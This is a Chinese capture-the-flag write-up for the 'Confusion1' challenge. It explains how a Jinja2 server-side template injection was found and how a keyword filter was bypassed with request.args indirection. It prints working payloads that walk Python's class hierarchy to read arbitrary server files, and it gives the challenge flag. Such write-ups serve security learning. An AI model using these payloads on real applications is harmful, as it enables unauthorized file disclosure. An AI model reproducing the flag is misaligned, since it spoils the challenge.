攻防世界—Confusion1—(模板注入ssti)
一.解题
在login和register的页面中发现这个文件路径
接下去就找有什么点可以利用
二.ssti
通过题目信息可知是一只蛇把一只大象缠绕起来了,蛇代表python,大象代表php
这边通过python可以推测可能是模板注入,这边我看其他的解题是说通过看报文信息也可以得到,但是我这边确实没从报文信息得到
尝试模板注入:
确实存在模板注入;
三.进行模板注入
发现应该是被过滤了,
发现""没有过滤
__class__被过滤,采用其他的方式
{{""[reuqest.args.a]}}?a=__class__
通过a去get传参
成功
看来__base__也被过滤了
使用__mro__可以
寻找可利用模块——file,因为之前已经知道路径:
Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
如图可知模块在41,所以数组位置应该是40
利用该模块
{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")}}?a=__class__&b=__mro__&c=__subclasses__
读取文件内容
{{""[request.args.a][request.args.b][2][request.args.c]()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt")[request.args.cmd]()}}?a=__class__&b=__mro__&c=__subclasses__&cmd=read
出答案:flag=cyberpeace{5de296bdf4c55c0e4ae11fc36988025a}
我这边顺便访问了一下另个文件内容是: _Y0uW1llN3verKn0w1t_
我抛给ai,给的结果是:you will never konw it
四.总结
在SSTI漏洞利用中,这种写法可以:
绕过过滤:如果直接写
{{"".__class__}}
可能被WAF拦截动态属性访问:通过参数控制要访问的属性
构造利用链:进一步获取其他危险类和方法
python# 获取基类
{{""[request.args.a]}}?a=__class__
{{""[request.args.a]}}?a=__base__# 获取object类
{{""[request.args.a]}}?a=__class__.__base__# 获取子类
{{""[request.args.a]}}?a=__class__.__base__.__subclasses__()